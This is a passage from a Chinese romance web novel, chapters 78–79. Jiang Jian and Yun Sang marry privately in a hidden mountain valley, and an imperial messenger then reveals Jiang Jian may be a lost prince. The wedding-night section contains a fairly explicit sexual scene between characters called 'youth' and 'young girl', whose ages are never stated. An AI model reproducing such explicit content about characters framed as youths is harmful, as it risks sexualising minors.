只这一句,承宁帝眸光大盛,什么也不顾了,将傅允从地上搀起,双目炯炯。 长安百姓不知皇家秘辛,只知道在陛下忽然放弃了搜寻刺客,宣布要去北地巡游的旨意。 第78章 第 78 章 来客 勿论外界如何, 云桑在长亘山是一概不知的,她现在仍在应对强装冷脸但漏洞百出的江见,哭笑不得。 云桑能看出来, 江见已经快装不下去了, 但还在那苦苦支撑, 也不知道在图什么。 回到云桑谷第二日,江见就再次出了谷, 云桑还劝了几句。 “还是别出去了,小心被抓走了。” 就如同梦里那样, 江见虽厉害,但若是对上千军万马也难以抗衡, 万一出去暴露了行踪那可是不得了的事。 这等紧要的关头,最好还是老老实实缩在山谷里安全。 “不行,得出去, 有些重要的东西要买回来。” 不听她的劝阻,江见用他那张假装冷漠的脸亲了她一口, 走前还将她昨夜浴身换下来的衣裳洗好晾好了。 云桑看得直摇头, 目送那道白色身影消失在眼前。 江见出去后,凌师父做了糕点, 说是加了谷中云桑花的花汁做的, 让她过去尝尝。 云桑知道凌师父的意思,想同她询问一些事情。 毕竟明眼人都能看出江见此次回来态度和上次不一样, 凌沧海也没等到这小子主动同他坦白什么,只交代了他可以出发去药王谷了,说是寻到了噬春散的解药。 根据凌沧海的经验判断,他这模样大概是在外头吃了苦头回来的。 年轻人在外面丢脸了,回来不好意思说也正常, 凌沧海没有追问,只心里头实在好奇,想着问问徒媳妇。 糕点做成了花瓣模样,透着云桑花香气的同时还带着淡淡的奶香,上面甚至还点缀着细碎花瓣,看起来不输长安的糕点。 “丫头快尝尝,还热乎着。” 凌沧海将围裙解下,将手洗干净坐在云桑对面,乐呵呵道。 云桑也没客气,就着茶水吃了起来,味道出奇的不错。 甜而不腻,口感绵软香甜,再佐以清茶滋味更佳。 “师父是想问我江见的事吧?” 吃了一块糕点下肚,云桑开了话头,神色微沉。 “没错,丫头你也知道,我以前虽然没少揍过这小子,但好歹是自己养大的,就跟自己的孩子一样,他这次回来明显有问题,还叫老头 子我先走,怕不是闯了大祸。” 喝了一口茶水,凌沧海做好了准备,搓手道:“说吧,我准备好了。” 看着老人紧张的模样,云桑都有些不忍心告诉他真相了。 一盏茶过后,听完前前后后整个过程的凌沧海捂住了心口,又是给自己灌了一杯热茶,唉声叹气起来。 “这死小子,真是什么都敢做,这下好了,准备好在谷中躲着吧。” 长亘山终年严寒,冰雪不化,最勇猛顽强的将士都不能久待于此,除非是修习内力的江湖人士,不然走到半路便会冻成一坨。 加上通往山谷的洞窟如迷宫一般,稍有不慎便会被困在其中不得出,此谷是个绝佳的世外避难所。 当初也是这样庇护了为家人报仇,被敌追杀的自己。 一住就是许多年,后来又捡到了江见,也算是有个伴了。 “那丫头你……” 凌沧海本就有心理准备,当初就觉得他这徒媳妇肯定来头不一般,如今都一一验证了。 长安高官家的千金,竟被这小子给碰着了,什么运气! 云桑无奈摊了摊手,轻笑道:“他连这样天大的包袱都揽下了,我自是没什么好说的,也许这就是同他在一起唯一的法子吧,放心师父,我没生气,也没有怨恨,只是难过江见可能不能再像以前一样自在了。” 凌沧海嘿嘿笑道:“丫头别那么想,这小子可不会这样觉得,他指不定乐坏了,昨晚上便催我走了,就盼着这谷里没有第三个人呢。” 云桑失笑道:“他这也是为了师父好。” “且等等吧。” 凌沧海叹了一声,想起糕点还搁着,怕是要凉了,忙催云桑多吃几块。 午后,云桑谷中的暖意更甚,隐隐接近夏日,云桑睡醒后换了一身更单薄的春衫,看着那群已经长大变肥的小鸡。 正发呆时,只听到流云一声轻轻的嘶鸣,云桑跟着看过去,原是江见回来了。 也不知买了些什么,那包裹大的吓人,若是从后面看怕是都看不见江见的人影。 云桑也不看鸡了,好奇地迎了上去。 烂漫的春日山谷,暖阳四散,少女向他奔来,一身鲜嫩的粉白衣裙于暖风中飘摇,犹如云桑花在他眼前摇曳。 江见丝毫不后悔去冒险,因为一切都值得。 “买的什么东西啊,这么多?” 戳了戳那个大大的包裹,云桑只觉得里面东西乱七八糟的,判断不出是什么。 “待会你就知道了。” 强行收住面上即将溢出的笑,江见强令自己摆出冷酷的姿态,殊不知在云桑看来不过是装模作样罢了,一点也不可怕。 尤其当背着大包裹的江见经过她身边时,扭扭捏捏地牵起了她的手,云桑抿唇轻笑,倒觉得这样的江见十分有趣。 包袱摊开,艳丽的红绸涌入眼帘,那是婚嫁特有之物。 只看江见将一大堆红绸拨开,底下还有许多零零碎碎的东西。 衣裳、吃食、九连环、胺脂水粉、珠钗等等,其中还有最醒目的大红色嫁衣并一顶婚冠。 好似这些都与自己无关,江见埋头整理买回来的东西,忙碌的像个蜂子,云桑都不好插话。 将那些平日能用到的东西归类整齐,江见就拖着那些红绸到处挂了,他的意图很明显。 云桑想过这事,但没想到这一天来得那么快,一时间也变得紧张了起来,扭扭捏捏吊在江见后面,见他给云桑谷每棵像模像样的树都挂上了红绸。 江见虽忙活着,但眼睛时不时就瞥过去,见云桑跟个小尾巴一样吊在他身后,欲言又止的模样,压抑住好心情,故作冷淡道:“你又帮不上忙,黏着我做什么?” 云桑继续当睁眼瞎,假装看不出江见拙劣的演技,晃了晃垂下来的红绸,弯着眼眸仰头问道:“你这气还要生多久啊?” 她都替江见觉得累,这人怎么能坚持那么久呢? 都一个月了,江见真能忍。 “不知道,再生几天吧。” 许是习惯使然,江见嘴一瓢就把心里话放出来了,说完又是一阵恼羞成怒,把红绸甩得簌簌响。 “那好吧,我就再等几天喽~” 云桑也不在这里继续逗他了,扭头欲走,又被江见喊住了。 “让师父把那只大公鸡炖了,再炒几个好菜,顺带把埋在竹林的酒也挖出来。” 这又让云桑想起了今晚,一颗心烫烫的,脸热地应了声离开了。 压根不用江见说一遍,云桑发现凌师父已经把那只毛色艳丽的大公鸡给杀了,灶台上面摆了许多备好的菜。 “竹林中有我酿了十年的女儿红,待我处理了这只鸡,便去挖几坛子出来,丫头你去一边玩去吧。” 云桑一听,暗道不亏是师徒,竟心有灵犀到这般地步。 又往灶台上看了一眼,见凌师父将蒜都扒好了,云桑彻底打消了做点什么的意图。 云桑谷的鸭子孵出了一窝小鸭子,毛绒绒的很可爱,弥补了那群小鸡崽长大的空缺。 此刻这群小鸭子正跟着它们的娘亲在一个小水潭里游水,玩得不亦乐乎。 上次来江见便说了,怕鸡鸭将暖溪弄脏了,于是他与凌师父特意在鸭圈挖了一个小水潭,虽然没有暖溪阔绰,但足够这些鸭子在里面戏水了。 日头还未落下,云桑蹲在小水潭边上,甚至能看见毛茸茸小鸭子身上沾染的晶莹水滴。 嘴巴闲得慌,又不想辜负凌师父杀的大公鸡,还有一桌子菜,云桑去屋里翻了一下,把江见刚给买回来的蜜饯带出来嚼了。 满满一大盒,拿在手上沉甸甸的,屋里还摆了好几盒,都是江见今日买回来的。 想着江见今日忙活得辛苦,云桑看了一会小鸭子,带着蜜饯去找江见了。 江见是个行动力很快的人,云桑才在水潭逗留了一会,江见已经把树都挂完了,除了竹子。 放眼望去,尽是满树红绸,一片喜庆。 挂上挂下了好半天,云桑谷中又是温暖如春的气候,江见这等体热之人很快便出汗了,领口外翻,露出大片锁骨,护腕也被扯下来,袖子捋到了臂弯处,露出白皙而肌肉流畅的小臂。 远远看着,江见又开始扯蹀躞带,似乎要脱衣裳的架势。 云桑立即陷入了进退两难的境地,呆在了原地,也不好意思上前了。 江见一眼瞧见了呆立着的少女,不仅不克制,反而脱得更欢畅了,还没走到云桑跟前,身上的里衣都被甩到了地上,只剩下裤子。 夕阳斜照,暗金色的阳光打在少年裸露的上半身,一条条伤疤在上面并不显丑陋,反而增添了几分野性的美感。 怕他把裤子也解了,云桑也不想着来跟他一起吃蜜饯了,抱着盒子就要钻到屋子里。 但被眼疾手快的江见拦住了去路,捏住了腰。 “找我做什么?” 说话还不够,还暗戳戳捏她腰上的软肉,云桑受不住痒,扭了几下道:“也没什么,本是想让你尝尝这蜜饯的,挺好吃的。” 江见好意思露,云桑却不好意思明目张胆地看,眼神躲闪道。 江见也发现了这一点,故意又凑近了些,那微微鼓胀的胸膛几乎都要贴到她脸上去了。 云桑能感受到热意扑面而来,夹杂着些许汗意,但是并不算难闻,甚至还带着一股江见身上特有的暖香。 “喂我。” 想退,但被对方捏着腰退不了半分,被江见身上的热意浸染,她的脸一寸寸红了起来。 简简单单的两个字充满了少年人的戏谑,云桑见他张着嘴,脸红心跳地挑出一个饱满的蜜饯,颤颤巍巍地递进他嘴里。 蜜饯没入那张殷红的唇,云桑正要收手,但被吃了蜜饯还不满足的江见追过来咬了一口。 咬在指腹,力道很轻,但这种时候足以让云桑惊慌失措。 “你干嘛咬人!” 大概是目的达到了,江见放开了她,云桑羞红着一张脸嗔道。 江见不以为意,甚至更加猖獗道:“咬你怎么了,今晚我把你整个人都咬一遍!” 此话一出,云桑噤声不语 ,又无力应答了。 好在江见也没有继续作弄她,只留下一句话,自顾自走到了溪水边。 “我要浴身,给我拿套换洗衣裳来。” 声音懒洋洋的,伴随着衣料摩挲的声音,一听就知道他是在干什么,云桑不敢逗留,抱着蜜饯盒子就往屋里跑。 去送换洗衣裳时,云桑怕看见些可怖的东西,都是垂着眼走的,只听到暖溪中水花阵阵,还有少年轻快的笑声。 “我是水鬼吗?” 跑走前,就听到江见不大开心地嘟囔了一句,又继续在水里翻腾了,像是一条精力旺盛的鱼。 日暮西沉,山谷一片昏暗,炊烟阵阵,伴随着饭菜诱人的香味。 严肃拒绝了江见要亲手帮她换嫁衣的请求,云桑红着脸把人推了出去,将门拴上。 嫁衣被整齐地叠放在床上,虽然时间仓促,但嫁衣却是不俗,无论是款式还是上面的纹绣都精致细腻,甚至还有许多珍珠和玉石,它们在夜色里仍旧闪闪发光。 婚冠也不是随意挑选的,延续了江见一向的审美,贵,且华丽,上面的金玉翡翠若是剥下来,都能在长安最好的地段买一座大宅子。 虽然这场婚仪没有嫁做世子妃的排场,但她十分开心。 若是不能嫁给心上人,再大的排场又有什么意义,也不会被取悦到。 婚冠是喊了江见来给她戴上的,一开门,早早换好喜服的江见正在门边,本就俊俏的脸在大红喜袍的映衬下更让人惊艳了。 还添了几许风流艳丽,像是夜半来勾人心魄的妖鬼。 将婚冠戴好后,江见带着她先去拜了高堂,拜了凌师父。 锅里还炖着鸡的凌沧海一见新人来了,喜得立即将外面的旧袍子脱去,露出里面崭新的衣袍,受了二人的拜礼,笑容灿烂地将徒儿和徒媳妇扶起来。 紧接着,又神秘兮兮地抱着云桑穿过竹林,来到山谷最东北的一处峭壁前,说要让山神见证。 “哪里来的山神?” 就算是夜里,山谷中依旧温热,属于那种跑几步路可能都要出些汗的程度。 云桑没有夜视的能力,看着眼前高大黑沉的山壁,十分诧异。 “这就是,夜里娘子可能看不清,白天再看,这面山壁有灵,小时候我向它许愿总是很灵验,我们就拜它,保准能长相厮守。” 云桑自然不会在这时候与他争执,跟着江见一块拜了山神。 “愿山神庇佑我与娘子永不分离~” 少年轻喃的话语随着温柔的夜风消散,云桑转头看他,对上一双璀璨的双目。 江见的愿望如此简单质朴,但对二人来说却如此来之不易。 夜风同样吹散了她眼中的热意,她一颗心酸涩又甜蜜,扑进了江见怀中。 今夜,凌师父做的菜很好吃,尤其是那只大公鸡,鸡腿和鸡翅都被她给吃了酒也很好喝,就连不善饮酒的云桑也喝了好几盏,同时也是为了壮胆。 但好像没什么作用,云桑除了走路有些飘,脑子居然是清醒的。 “还有合卺酒呢,别忘了。” 凌沧海怕小夫妻忘了,忙不迭给倒了两盏,喜气洋洋提醒道。 “自是不会忘记。” 少年轻笑了一声应道,笑容比月色醉人。 云桑心神飘忽地端起酒盏,江见胳膊如蛇一般缠上来,两人交杯而饮。 江见抱着她回到了屋子,忙上忙下地将她的头冠摘了,婚服褪了,手法熟练的惊人。 索性她嫌麻烦,并未在面上妆点,此刻脱了衣裳便能入睡。 晕乎乎的云桑甚至将结发礼也忘了,愣愣地看着江见将自己的一撮头发剪下来,又剪自己的,将两股头发死命缠得死紧,分不清谁是谁的才作罢。 脑袋晕乎乎的,云桑觉得自己应该睡一觉,然刚躺下,江见便翻了上来,双腿跪于她腰侧,眼神如狼似虎,显然不允她入睡。 心口怦怦跳着,云桑现在满脑子都是红袖招那日看到的东西,呼吸都不畅了。 今夜,她与江见也要如此吗? 心中紧张忐忑的同时,云桑心中还有些期待,她觉得羞耻。 还是老一套的开场,江见盯了她的唇几息,二话不说便倾轧而下,所燃起的烈火几乎将云桑燃烧殆尽。 今夜别有所图,因而江见亲的时间也比平日短了许多,甚至厚颜说句,云桑甚至还没有尽兴,就觉身上一轻,江见难得克制离了她的唇。 双眸迷蒙生雾,云桑满颊红晕望着同样面色绯红的江见,不用言语便已传达了心意。 “急什么,还有更重要的事。” 话语落下,江见解开了她的衣带,像是拆礼物一般,只是须臾间,云桑便被剥得只剩下小衣和亵裤了。 云桑谷暖热,但云桑像是怕冷一般紧紧护住了自己,双臂横在胸前不肯拿开。 江见眸光渐热,也不急躁,又是接着先前未尽的兴继续了下去,一口吻了回来。 云桑极容易迷失在其中,此刻也是,本就饮了几盏酒,身子正无力,又受了这样一番引诱,她哪还有力气和神智,不知不觉间便被江见趁机褪去了最后两件敝体的衣物。 等云桑意识到某些地方一凉,反应过来自己已经毫无遮掩时,江见已经将她上下扫了个遍。 “你怎么这样!” 心仿佛在滚开的水中浸着,云桑羞得全身都浮上了一层淡淡的粉,话也绵软无力,透着甜腻酥软。 江见被逗得一颗心犹如烈火焚烧,不仅不退,反而一手覆了上去,盖住了那晃眼的软月。 “哪样?这样吗?” 比先前更恶劣了,那一下捏得她呼吸一滞,好半晌都没缓过劲来。 见她如此没出息,江见笑得眼眸弯弯,也不拖延,三两下将自己身上的衣裳除去,变作了同云桑一般的情状。 如此清晰的、全面的、直白的、近距离地看,云桑还是头一遭,冲击力不可谓不大。 那物什更清楚了,就那么直挺挺地对着她,颜色同它的主人一样艳丽,像是有人给它上了一层淡淡的胭脂。 形态很可怕,但那颜色却透着几分漂亮,倒显得有几分可爱了。 尽管如此,云桑不敢去看,只避开眼,护着自己的脆弱之处。 “娘子,你睁开眼看看它。” 腹间灼烫,蜿蜒而过的痕迹让云桑痒得出奇,紧闭着唇瓣,生怕自己一不小心放出什么见不得人的声音。 但江见弄得她实在是太痒了,她只好睁开眼硬着头皮去瞧,面皮都要烧起来了。 以为这样江见便能放了她,却不想这人变本加厉了起来。 “娘子,你摸摸它。” 如诱哄孩子一般,偏偏又带着极度的渴望,明明是血肉之躯,却在此刻像一团烈火。 云桑羞极了,手指蜷缩着,好半天都没动静,这让满心饥渴等待着的江见十分难捱。 “怎么,娘子是不愿同我做夫妻,在怪我阻了你的世子妃的头衔吗?” 为了能让自己得到抚慰,江见不惜说了些阴阳怪气的话来激她。 在长安他便研习透了上官朔给他的书册,今日出去又买了几本,囫囵看了些,江见发现了许多即便不放入也能疏解的法子。 上官朔的神药还未研究出来,他不能贸然就行了书册上所说的夫妻之礼,但新婚之夜,江见总要弥补一下自己,起码得到疏解才行。 这番话很有用,只这一句,江见浑身一颤,被柔软温凉束缚住的触感传遍全身,几欲一瞬间爆发。 想着不能刚吃一口便将身家性命这么快交出去,他拼命压制,不惜动用了些内力,才堪堪稳住。 怕云桑看出他此刻失态难言的神情,江见将人搂入怀中,贴在云桑耳边轻声道:“我知道了娘子,现在,动一动吧。” 怕娘子不懂他的意思,云桑握着她的手上下示范了几下,而后埋入颈项,以吻催促。 云桑被吻得混沌不清,觉得自己好似飘在云端,理智已然飞了七八分,只一心跟着江见的话来,卖力抚慰着。 武人身板极好,耐力更是上佳,云桑远不能敌,只一刻钟左右的时间,云桑便觉手腕酸软,快要使不上力气了,于密密麻麻的吻间抢得了一丝空隙,讨饶道:“我不行了,你自己来吧。” 大家都有手,后面的为何不能他自己来? 不用云桑说,江见也察觉到了她的力弱,但没有像云桑想得那样换自 己,而是大手覆上去,握着云桑疲弱无力的手猛烈继续着。 因为借了自己的力,江见也不吝啬主动些,一把劲腰晃出残影,引得身下竹床不住哀鸣。 浴身时,云桑右手不小心沾了水,掌心微微刺痛,借着外头投进来的月色,云桑发现那里不仅红彤彤一片不说,都微微破皮了。 江见也看见了,心虚地赔礼道歉道:“是我不好,我给娘子上药。” 上药时,药膏清清凉凉铺在上面,热辣感慢慢褪去,云桑心中本舒坦不少,然下一刻就听江见小声又正经道:“下次换只手,我轻些。” 云桑气恼,怒瞪着他道:“你也有手,就不能自己来!” “你这般皮糙肉厚,肯定怎么弄都不会破” 云桑嘀嘀咕咕道,声音虽小但一点不影响江见捕捉,他立即反驳道:“那不一样,天差地别!” 云桑意会出了些什么,面上染上酡红,闭嘴不与他争论了。 接下来的日子平静又不平静,总让云桑的心境在平和与颤栗中反复横跳。 云桑谷还是云桑谷,风景如画,四季如春,宁静美好,但一到夜晚,除了真真切切的那一步,江见几乎将避火图上各种前菜都上了一遍,甚至都不避着他了,当着她的面看那腌臜东西,还把那东西放在枕边,两人的头发时常铺在书页上。 右手伤了换左手,左手也伤了便换了别处,除了云桑义正词严明确拒绝过的嘴巴,其他几乎都被江见试了个遍。 譬如腿、脚、胸口这样的地方,江见总是乐此不疲。 如今云桑见到那物什已经不会下意识回避了,只见它贪婪急切的模样,难免面皮发烫。 转眼间一月的时间过去,云桑谷不分四季,但外面想来已是仲冬寒月,冷酷非常了。 云桑的身子骨不算强健,从小到大最是怕冷,如今缩在这云桑谷倒是舒坦,再不必受一丁点冷寂清寒。 新婚夜后,江见最后那点装模作样终是彻底消散了,又变回了当初那个正常的热烈小太阳,日日见她就是笑脸,恨不得挂她身上。 江见说,等风波过了,他会带着她偷偷潜回长安,乔装一番去见爹爹,长远的话,如果爹爹愿意,他也会将爹爹带来这云桑谷,这样一家人还能够团聚。 说这些的时候,少年面上仍带着愧疚,似乎一直在为不能给她光明正大的生活而内疚。 有舍才有得,这样的结果比她心灰意冷嫁给李承钰,有情人天各一方无法相守要好得多,虽有遗憾,但是心之所向,云桑没有什么怨言。 “好啊,那我等着了。” 云桑笑意温柔,抚平了江见心中的惶恐不安,他高兴地嘬了一口她的脸,又欢喜了起来。 又是一日风和日丽,距离重阳祭天已经过去了两个多月,凌师父也出发去了药王谷,云桑谷中只剩下她与江见两人,谷中的生活依旧静谧美好,与世无争。 就在云桑以为祥和的日子还会持续下去时,洞窟口冒出来一个神色麻木的年轻侠客,气喘吁吁地从洞窟出来,力虚,又不小心踩到了旁边的湿滑苔藓,咕噜咕噜从上面滚下来,发出啊啊的叫声。 彼时,江见砍了些竹子在做竹屏风,云桑就坐在旁边吃果干,偶尔过去亲亲他给他添些动力。 第79章 第 79 章 遗孤 两个人的山谷, 突然出现了第三个人的声音,原本其乐融融的气氛瞬间被打破,两人齐齐看向了洞窟口, 神情变幻不定。 当看见那人并非凌师父, 只是个陌生的年轻侠客, 虽然摔得灰头土脸的很滑稽,但云桑和江见二人都笑不出来。 不管是无意间误入此地, 还是朝廷的人追踪而来,于江见而言都不是好事。 只见他将手里的竹片一放, 抽出霜叶人就冲向了洞窟,云桑也忧心忡忡地站起来, 看着情况。 知道江见住在长亘山的,除她之外,长安只两人, 一个是上官大夫,已经离了长安, 剩下就是爹爹。 可云桑不信爹爹会向陛下暴露江见的所在, 于她而言江见有多重要爹爹很清楚,就算是为了她, 爹爹都不能害了他。 云桑希望这人只是误闯进来的。 云桑努力安慰自己, 但效果不大,毕竟谁好好的没事往雪山里跑, 还专门往洞窟里钻,看那狼狈模样,想必是在洞窟里折腾了不少时间。 云桑离得远,看不清那人模样,只远远看见江见将人踹了一脚, 霜叶抵在了那人脖颈间,透出来的不善隔着老远云桑都能感受到,仿佛下一刻就要挥剑将人咔嚓了。 但不知那人说了什么,江见好半晌没动,云桑见局势还算稳定,小跑着过去了。 上洞窟有段高坡,上面有片苔藓,云桑头一次来就差点滑倒,但好在这人从上面滚下来了,她不用小心翼翼走上去。 “江见。” 地上坐着的年轻人呼哧呼哧地喘着气,丝毫没有反抗的意思,加上江见可不是吃素的,她凑到江见身后唤了一声。 离得近了,云桑觉得这个误闯进来的男子有些面熟,但实在想不起来在哪见过了。 但对方似乎记得她,见她过来,张口就唤了一声云姑娘,又想到了什么,改口成了傅姑娘。 显然,他知道得不少,决不是不小心误闯进来的。 “你认得我?” 看着男子那双狐狸眼,云桑心头的熟悉感又涌上来了,好奇问道。 男子面上好不容易攒起来的笑意又散去了,叹气道:“哎,傅姑娘也把我忘了。” 男子气度风流,叹出这话带着几分别样的暧昧,江见最听不得,拧着眉头骂道:“你是哪根葱,我娘子干嘛要记得你!” 莫风不与江见这个幼稚的醋坛子计较,只再次介绍自己道:“傅姑娘忘了,我们在蔡郡太守府见过,当时还同你们说过几句话,叫莫风,不记得了?” 经这么一提醒,云桑想起了一些,看着莫风身上灰扑扑的袍子恍然大悟道:“原来是你,换了身衣裳没认出来。” 云桑对他的浅淡印象还停留在当时的一身蓝袍上,如今弄成这样,自然不会记得。 “你为何在这里?” 见过虽见过,看江见的态度也不是什么挚友,这种时候千辛万苦来到长亘山河谷,显然有所图谋。 想到这,云桑神情严肃了起来,想着若真是陛下派来的追兵,那她不会拦着江见将人灭口。 “我是为陛下办差来的。” 长亘山终年积雪,酷寒难当,非拥有内力的江湖人士不得进,不到半个时辰,就见着踏入其中的将士险些被冻死,更别提深入其中寻找傅卿所说的山谷。 承宁帝无法,召集了拥有内力的江湖人士,以万金相托。 万两金这样庞大的数目引来了许多江湖人士,不过并不是谁第一个接下便是谁的,要看谁最终能完成承宁帝所托的任务。 眼馋万两金接了任务的同行加上莫风一共四十九人,在五日前便同时进入了长亘山。 但这座雪山太大了,且四下皆是无边雪色,承宁帝给他们的线索微乎其微,只一个雪山中有河谷,其他一概不得知。 这四十九人谁也不知河谷到底是在什么地方,他们又该朝着哪个方向走,只能如无头苍蝇一般在茫茫雪色中胡乱摸索。 莫风运气好,同四三人误打误撞找到了这一处洞窟,硬着头皮踏了进来。 他们知道里面可能有未知的危险,但没想到这个危险会是迷宫这种鬼东西。 就算是做了记号,他们仍然会在其中来来回回地兜圈子,反复看见自己还有其他同行留下的记号。 就好像碰到了鬼打墙! 在雪地里一通乱找耗了两日,在这个见鬼的洞窟里又是被折腾了三日。 莫风以防万一是带了些干粮,可没想到这任务如此操淡,他只带了两日的伙食。 当意识到食物可能不够,但任务又没有完成,莫风省吃俭用,一张饼子当一天的干粮嚼,但还是来不及了。 正是身强力壮的年纪,又是武人,一天就吃个干饼子如何能够,莫风早已饿得前胸贴后背了。 就在第三日,莫风悲观地觉得自己要困在这个洞窟中被饿死,躺在地上悲伤时,他恍惚间看到了一束光,虽然遥远微薄,但那是他全部的希望。 因为太激动,莫风在地上扭了几下才爬起来,身上更脏了。 再次感受到温暖的日光和湿润的空气,莫风狂喜之下大笑了起来,不仅惊动了整个山谷的鸟雀,更是惊动了宁静祥和的两人。 也就有了后面发生的事。 “就知道你是追兵,但江见不能有事,所以对不住了莫侠士……” 莫风还没反应过来,就见少女脸色一冷,说出下面这句要命的话。 “江见,把他做掉!” 虽然亲眼见过江见夺人性命,但这个又不一样,云桑强装出冷酷的嘴脸,让自己看起来杀伐果决些。 “啊?” 莫风看着只问了他这一句话便对他要杀要刮的少女,一瞬间甚至觉得这是他根本没有从洞窟中走出来,眼前的一幕是他濒死前的幻想罢了。 要不然那个羞怯又善良的姑娘怎么一言不合便要做掉他? 这简直太玄幻了! 生怕江见真的听了话一剑了结了他,莫风求生欲暴涨,慌忙大喊道:“别别别,我不是来害你们的,我是来报喜的!剑下留人啊~” 本就不是江见的对手,又饿得快虚脱了,莫风不用比划都已经看到了自己的结局,他一颗心怦怦跳,纯粹是被吓的。 莫风撕心裂肺的话语让云桑也跟着啊了一声,诧异地看向他。 临近晌午,今日江见炖了一锅老鸭汤,此刻香味已经开始冒出来了,勾得人,尤其是莫风这个肚子饿了许久的人几欲流口水。 “你说江见很可能是章懿太子的幼子,那个九皇孙?” 灶台上,江见挥舞着锅铲,正热火朝天地翻炒着今日的菜肴,看着十分专注,仿佛一颗心全放在饭菜上。 但实际上他是一心二用,也在听云桑和莫风的对话。 今日的午饭,除了那锅老鸭汤外,还有一道蒜苗炒腊肉,一道红烧鱼,一道凉拌波棱菜,正好配成三菜一汤。 莫风一边咽口水一边回道:“不是我说,是陛下说的,我只负责传话,外加把人带出去。” 说着,莫风看了一眼正热火朝天炒菜的少年,心中也唏嘘感慨。 江湖上谁人又能想到,那个自小生活在雪山中、白衣索命的无常少年竟是流落在民间的皇子龙孙? “哼~” 听到最后一句话,就见江见盛菜的空档冷笑着哼了一声。 “谁知道那老皇帝不是为了骗我出去杀编的谎话,我可是狠狠得罪了他,怕是我一出去就得被万箭穿心呐。” 这话诱起了云桑曾经可怕的梦境,一时也怀疑起了莫风,觉得这人就是来诱骗江见的,再次肃起了脸,颇有一种下一刻又要做掉他的样子。 莫风被吓得一激灵,忙不迭摇头否认,像是一个瑟瑟发抖的拨浪鼓。 “绝不是,我有证据,陛下说九皇孙腹部有个凤鸟形的胎记,你也有,还说你生得像过世的太子妃!” 云桑这下长了个心眼,不用江见反驳,一脸严肃就开问道:“这又能说明什么,胎记是因为陛下当时瞧见了,太子妃的模样我们又没见过,这些全凭着陛下一张嘴,算不得证据,不行!” 云桑少有的拿出了锋利的,可以称作是咄咄逼人的姿态,那副凶巴巴的模样看得江见笑得合不拢嘴,在后面附和道:“我娘子说得没错,这算不得证据,你若是拿不出真正的证据,你真的得留在这里。” “放心,我的剑很快,不会很疼,我会把你埋在谷中最粗壮的桃树下,这样来年桃子若是长得多也有你的功劳了~” 用着一张无害漂亮的脸说着最可怖的话,莫风只觉得四下阴风阵阵,一瞬间连饭香都闻不到了。 忽地,他想起来了自己还真带了一样证据,承宁帝不知谁能完成任务,于是每人都发了一张图纸,莫风将其放在了衣襟里,饿得头脑发昏的他险些忘了这茬。 “有的,有的,我还有证据!” 手忙脚乱地将衣襟里的图纸拿出来,纸页翻动声响起,江见只是看了一眼,就继续做菜了,云桑不忙,伸着脑袋就去看了。 “陛下说这上面所绘制的玉锁是每位皇孙出生都有的贴身物件,锁身是羊脂白玉,上面镶嵌着金质的蔓草花纹,锁身背面还刻着一个徵字,是该皇孙的名讳。” 将图纸递给云桑,莫风说着陛下告知他们的话,眼中满是对生和万金的渴望。 这下不仅是云桑沉默了,正在煎鱼的江见也怔在了灶台前。 因为江见真的有一个这样的物件,莫风说得分毫不差。 云桑也忘了是婚后第几日,她从床底发现了一个落灰的箱子,江见说那是小时候的玩具,云桑生了好奇,想看看江见小时候都爱玩些什么。 在一堆乱七八糟的,比如草蚱蜢、弹弓、泥巴小鸟、拨浪鼓、小木剑之下,云桑看见了一枚小小的玉锁。 小孩子身上佩戴锁本不是什么很稀奇的事,奈何这玉锁实在贵重,当时云桑还将其拿到正在洗衣裳的江见眼前,也许是掩在杂物箱中太久了,江见差点没想起来这是什么。 “师父说这是捡到我时身上就戴着的,有一年差点被我拿去换钱了,最后被师父拦住了,没成。” 当时云桑对于他的话是不赞成的,将小小的玉锁放在手心翻看道:“好在没成,自小便带着,说不定日后可以凭借它寻到你的家人呢。” 水淅淅沥沥被拧下,伴随着少年轻快自在的话语。 “无所谓了,我现在生活得已经很幸福了,有没有家人根本不重要,未来也不缺家人,因为娘子就是我的家人了。” 当时云桑因为听得一颗心暖洋洋,便没有再讨论玉锁的事,只记得锁身后确实有个徵字。 目光凝在图纸上,云桑再说不出反驳的话了。 将图纸拿给同样神色异常的江见看,云桑心中百转千回。 胎记是陛下那日看见的,像太子妃这话也可能是陛下自己胡诌的,但这枚玉锁做不得假,若不是云桑偶然翻看江见床底的杂物箱子,她怕是都不知道。 陛下却描述得一清二楚,这实在无法辩驳。 大概江见也是如此想的,盯着那张图纸出神了许久,一时半刻实在不能接受。 那个仗着自己是皇帝而帮着李承钰拆散他和娘子的老头很可能是自己的祖父? 还和李承钰那个讨厌的情敌很可能是堂兄弟? 自己的父亲很可能是那个被亲生父亲害死的倒霉蛋太子? 什么狗屎玩意! 江见拿着铲子直接愣在了原地,直到锅里的鱼被遗忘了太久,淡淡的糊味飘出来,江见嗅到那股气味,瞳孔一缩,才醒过神来去抢救那条肥美的鲜鱼。 “糟了,我的鱼!” 见他前一刻还恍惚着,下一刻便抄起锅铲去翻那条鱼。 果然,鱼身黑了不少,江见抿着唇,神情懊恼。 烟雾缭绕中,云桑笑完,满脸正色道:“江见,凌师父有说当初是在哪里捡到你的吗?” 江见抬眼看她,知晓她这样问是什么意思,也没犹豫什么,老实答道:“说是洛州汝江下游,一个破篮子装着我,被水冲到了岸边,被经过的师父听到了哭声,带了回去。” 从小到大,师父没少拿当时他在破篮子里哭得多大声来笑话他。 再一次得到证实,云桑深吸了一口气,看着江见的眼眸缓声道:“听我爹爹说,当年章懿太子便是于洛州兵败,自刎于汝江北岸。” 江见的鱼又糊了一面,江见又是一番懊恼。 等菜全部上桌后,已是两刻钟过去,此间江见都未发一语,云桑也没去打扰他内心的纷扰,自己也在消化这一猝不 及防的消息。 章懿太子还留有后人,当真是不容易啊! 想到陛下说江见生得像当年的太子妃徐氏,云桑没忍住去瞧了瞧他的脸,暗自肯定。 听闻当初太子妃徐氏是长安第一姝丽,才情与美貌响彻京都,后与太子一见钟情,结为佳偶,使得长安无数儿郎和贵女捶胸顿足,怨愤冲天。 表兄也与她说过,他的太子妃姨母有多仙姿玉貌,仙女下凡一般。 虽然她未曾见过太子妃,但在江见身上或许能看出太子妃的风采。 怪不得江见生了这样一张有些过分漂亮的脸,原来母亲是那等美人。 就是可惜了,全家只剩下他一人了。 因为心里头装着事,云桑吃得很慢,抬头看江见,似乎也慢了不少。 正待云桑想说些什么时,旁边台阶下传来了一阵吵闹声,是莫风的肚子在疯狂叫嚣。 两人看过去,迎上莫风那张可怜又渴望的脸。 “好饿,能让我吃点吗?” 